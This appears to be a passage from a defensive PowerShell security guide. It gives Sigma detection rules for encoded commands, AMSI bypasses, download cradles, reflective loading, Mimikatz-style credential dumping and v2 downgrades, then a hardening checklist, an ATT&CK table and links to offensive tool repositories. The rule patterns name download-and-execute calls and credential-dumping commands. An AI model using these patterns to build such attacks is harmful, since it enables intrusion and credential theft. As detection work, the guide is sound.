status: stable
description: Detects PowerShell execution with encoded commands, commonly used for payload delivery and evasion
logsource:
category: process_creation
product: windows
detection:
selection_binary:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_encoded:
CommandLine|contains:
- '-enc'
- '-EncodedCommand'
- '-ec '
selection_suspicious_flags:
CommandLine|contains:
- '-nop'
- '-NoProfile'
- '-w hidden'
- '-WindowStyle Hidden'
- '-NonInteractive'
- '-ep bypass'
- '-ExecutionPolicy Bypass'
condition: selection_binary and selection_encoded and selection_suspicious_flags
falsepositives:
- Legitimate admin scripts using encoded commands for character escaping
- SCCM/MECM client actions
- Some monitoring tools that encode commands to avoid quoting issues
level: high
tags:
- attack.execution
- attack.t1059.001
- attack.defense_evasion
- attack.t1027
AMSI Bypass Attempt Detection
title: AMSI Bypass Attempt via Script Block Logging
id: a3d7f9e2-4b8c-4d5e-9f1a-6c2e8d3b7a9f
status: experimental
description: Detects common AMSI bypass patterns in PowerShell script block content
logsource:
product: windows
category: ps_script
definition: PowerShell Script Block Logging must be enabled
detection:
selection_amsi_strings:
ScriptBlockText|contains:
- 'AmsiScanBuffer'
- 'amsiInitFailed'
- 'AmsiUtils'
- 'AmsiOpenSession'
- 'amsi.dll'
selection_reflection:
ScriptBlockText|contains|all:
- 'System.Management.Automation'
- 'GetField'
- 'NonPublic'
selection_virtualprotect:
ScriptBlockText|contains|all:
- 'VirtualProtect'
- 'GetProcAddress'
- 'amsi'
condition: selection_amsi_strings or selection_reflection or selection_virtualprotect
falsepositives:
- Security scanning tools that inspect AMSI configuration
- Microsoft documentation scripts that reference AMSI internals
level: critical
tags:
- attack.defense_evasion
- attack.t1562.001
Download Cradle Detection
title: PowerShell Download Cradle Execution
id: c7e4b3d9-5a2f-4e8c-b1d6-9f3a7c5e2d0b
status: stable
description: Detects PowerShell download cradle patterns used for in-memory payload execution
logsource:
product: windows
category: ps_script
definition: PowerShell Script Block Logging must be enabled
detection:
selection_webclient:
ScriptBlockText|contains:
- 'Net.WebClient'
- 'WebClient'
selection_download:
ScriptBlockText|contains:
- 'DownloadString'
- 'DownloadData'
- 'DownloadFile'
- 'OpenRead'
selection_iex:
ScriptBlockText|contains:
- 'IEX'
- 'Invoke-Expression'
- 'InvokeCommand'
- 'InvokeScript'
- '[scriptblock]::Create'
selection_webrequest:
ScriptBlockText|contains:
- 'Invoke-WebRequest'
- 'Invoke-RestMethod'
- 'iwr '
- 'irm '
condition: (selection_webclient and selection_download) or (selection_webrequest and selection_iex)
falsepositives:
- Package managers (NuGet, Chocolatey, PowerShellGet)
- Legitimate install scripts downloading dependencies
level: high
tags:
- attack.execution
- attack.t1059.001
- attack.command_and_control
- attack.t1105
Reflective Assembly Loading Detection
title: Reflective .NET Assembly Loading in PowerShell
id: d8f5c2a1-6b3e-4f9d-a7c0-8e1d5b4a3f2c
status: experimental
description: Detects reflective loading of .NET assemblies in PowerShell, commonly used by PowerSharpPack and similar frameworks
logsource:
product: windows
category: ps_script
definition: PowerShell Script Block Logging must be enabled
detection:
selection_load:
ScriptBlockText|contains:
- '[System.Reflection.Assembly]::Load'
- '[Reflection.Assembly]::Load'
selection_decompress:
ScriptBlockText|contains:
- 'IO.Compression.GzipStream'
- 'IO.Compression.DeflateStream'
- 'FromBase64String'
condition: selection_load or (selection_load and selection_decompress)
falsepositives:
- Custom application frameworks that dynamically load assemblies
- Some DevOps deployment scripts
level: high
tags:
- attack.execution
- attack.defense_evasion
- attack.t1620
Invoke-Mimikatz / Credential Dumping Detection
title: Invoke-Mimikatz or Credential Dumping via PowerShell
id: e9a6d3b2-7c4f-4a0e-b8d1-2f5c9e7a6b3d
status: stable
description: Detects Mimikatz-related strings and credential dumping patterns in PowerShell script blocks
logsource:
product: windows
category: ps_script
definition: PowerShell Script Block Logging must be enabled
detection:
selection_mimikatz:
ScriptBlockText|contains:
- 'Invoke-Mimikatz'
- 'DumpCreds'
- 'DumpCerts'
- 'sekurlsa::'
- 'kerberos::list'
- 'lsadump::'
- 'privilege::debug'
selection_credential_tools:
ScriptBlockText|contains:
- 'Invoke-TokenManipulation'
- 'Invoke-CredentialInjection'
- 'Get-GPPPassword'
- 'SafetyKatz'
- 'SharpKatz'
condition: selection_mimikatz or selection_credential_tools
falsepositives:
- Authorized penetration testing (should be whitelisted by engagement ID)
level: critical
tags:
- attack.credential_access
- attack.t1003.001
- attack.t1003.002
PowerShell v2 Downgrade Attack
title: PowerShell Version 2 Downgrade Attack
id: f0b7e4c3-8d5a-4b1f-c9e2-3a6d0f8b5c7e
status: stable
description: Detects attempts to use PowerShell v2 engine to bypass AMSI and Script Block Logging
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains:
- '-version 2'
- '-v 2'
- '-ve 2'
- '-ver 2'
condition: selection
falsepositives:
- Legacy scripts explicitly requiring PowerShell v2 (rare in modern environments)
level: high
tags:
- attack.defense_evasion
- attack.execution
- attack.t1059.001
- attack.t1562.001
14. Detection of Obfuscation — Revoke-Obfuscation
Source: https://github.com/danielbohannon/Revoke-Obfuscation
How It Works
Revoke-Obfuscation uses machine learning trained on 408,000+ PowerShell scripts to detect obfuscated content through feature extraction, not signatures.
Detection approach:
- Parse input through PowerShell's Abstract Syntax Tree (AST)
- Extract thousands of features (character distribution, token types, string entropy, AST depth, operator frequency, etc.)
- Compare feature vectors against trained models
- Score and classify as obfuscated or benign
Performance: 100-300ms per script, 12,000+ scripts/hour.
Why This Matters
Signature-based detection fails against obfuscation because each obfuscated output is unique. Revoke-Obfuscation detects the statistical anomalies that ALL obfuscation introduces:
- Abnormal character frequency distributions (too many special chars, unusual ratios)
- Unusual AST structures (deeply nested expressions, uncommon node types)
- High string entropy (encoded/encrypted content)
- Token type distributions inconsistent with normal PowerShell
Defensive Integration
# Analyze a script
$result = Measure-RvoObfuscation -ScriptBlock { <suspicious_code> }
# Analyze EID 4104 events from the event log
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
ForEach-Object { Measure-RvoObfuscation -ScriptBlockText $_.Properties[2].Value }
# Analyze with whitelisting
Measure-RvoObfuscation -ScriptPath C:\scripts\suspect.ps1 -WhitelistFile C:\config\whitelist.txt
Whitelisting options: File-path based, string-match based, regex-based — critical for reducing false positives on legitimate obfuscated code (some vendor scripts use obfuscation for IP protection).
15. Hardening Checklist
Priority 1 — Immediate (Baseline)
- Enable Script Block Logging (EID 4104) — GPO or registry, all systems
- Enable Module Logging (EID 4103) — set to
*(all modules) - Enable Transcription — output to secured write-only network share
- Enable Process Creation Auditing (EID 4688) with command-line logging
- Deploy Sysmon with a PowerShell-aware configuration (SwiftOnSecurity or Olaf Hartong baseline)
- Set ExecutionPolicy to AllSigned or RemoteSigned — not a security boundary alone, but raises the bar
- Disable PowerShell v2 —
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root - Remove .NET Framework 2.0/3.5 if not required (prevents PS v2 engine)
Priority 2 — Hardening
- Deploy WDAC (preferred) or AppLocker with script rules enforcing CLM
- Set
ms-DS-MachineAccountQuotato 0 — prevents unprivileged machine account creation - Enable AMSI — ensure AV/EDR is registered as AMSI provider
- Restrict PowerShell remoting — limit WinRM access via firewall and JEA (Just Enough Administration)
- Implement JEA endpoints — constrained PowerShell sessions with role-based capabilities
- Block PowerShell for non-admin users where possible via AppLocker/WDAC
- Monitor AMSI provider health — alert if AMSI providers are unregistered or erroring
- Forward PowerShell logs to SIEM — ensure 4103, 4104 events are ingested and retained
Priority 3 — Advanced
- Deploy Revoke-Obfuscation or equivalent ML-based detection on script block log pipeline
- Implement PowerShell Desired State Configuration (DSC) monitoring for configuration drift
- Use Protected Event Logging (CMS encryption) to encrypt script block content in transit
- Baseline normal PowerShell usage — establish what normal looks like per user role, then alert on deviations
- Hunt for AMSI bypass indicators — scheduled queries for
AmsiScanBuffer,amsiInitFailed,VirtualProtectin script block logs - Monitor for unusual .NET assembly loads —
[Reflection.Assembly]::Loadin script blocks - Implement canary scripts — place honeypot .ps1 files in common attack paths, alert on access
- Audit Group Policy Preferences — remove any remaining GPP passwords (Get-GPPPassword)
- ETW provider monitoring — detect ETW patching/tampering (T1562.006)
Logging Volume Considerations
Script Block Logging and Module Logging generate significant volume. Plan for:
- Storage: Script Block Logging alone can generate 1-10 GB/day per busy server
- Retention: Minimum 90 days for incident response, 1 year for compliance
- Forwarding: Use Windows Event Forwarding (WEF) or agent-based collection
- Filtering: Consider logging level tuning — verbose invocation logging only on high-value targets
- Compression: Enable log compression on forwarding infrastructure
Appendix A: Quick Reference — ATT&CK Mapping
| Technique | ATT&CK ID | Detection Source |
|---|---|---|
| PowerShell execution | T1059.001 | EID 4688, Sysmon 1 |
| Encoded commands | T1027.010 | EID 4688 (command line) |
| Download cradles | T1105 | EID 4104, Sysmon 3 |
| AMSI bypass | T1562.001 | EID 4104 |
| Reflective loading | T1620 | EID 4104 |
| Credential dumping | T1003.001 | EID 4104, Sysmon 10 |
| Kerberoasting | T1558.003 | EID 4769, EID 4104 |
| Pass-the-Hash | T1550.002 | EID 4624 (Type 3), EID 4104 |
| Account creation | T1136.002 | EID 4741 |
| AppLocker bypass | T1218 | EID 4688, Sysmon 1 |
| PowerShell remoting | T1021.006 | EID 4104, EID 91/168 (WinRM) |
| ETW tampering | T1562.006 | Sysmon 7 (DLL load), ETW provider monitoring |
Appendix B: Key Sources
| Resource | URL | Category |
|---|---|---|
| Nishang | https://github.com/samratashok/nishang | Offensive Framework |
| PowerSploit | https://github.com/PowerShellMafia/PowerSploit | Post-Exploitation |
| Empire | https://github.com/BC-SECURITY/Empire | C2 Framework |
| Invoke-TheHash | https://github.com/Kevin-Robertson/Invoke-TheHash | Pass-the-Hash |
| Powermad | https://github.com/Kevin-Robertson/Powermad | AD Exploitation |
| PowerSharpPack | https://github.com/S3cur3Th1sSh1t/PowerSharpPack | C# via PowerShell |
| Invoke-Obfuscation | https://github.com/danielbohannon/Invoke-Obfuscation | Obfuscation |
| Invoke-DOSfuscation | https://github.com/danielbohannon/Invoke-DOSfuscation | CMD Obfuscation |
| Revoke-Obfuscation | https://github.com/danielbohannon/Revoke-Obfuscation | Deobfuscation/Detection |
| PSAmsi | https://github.com/cobbr/PSAmsi | AMSI Research |
| AmsiScanBufferBypass | https://github.com/RastaMouse/AmsiScanBufferBypass | AMSI Bypass |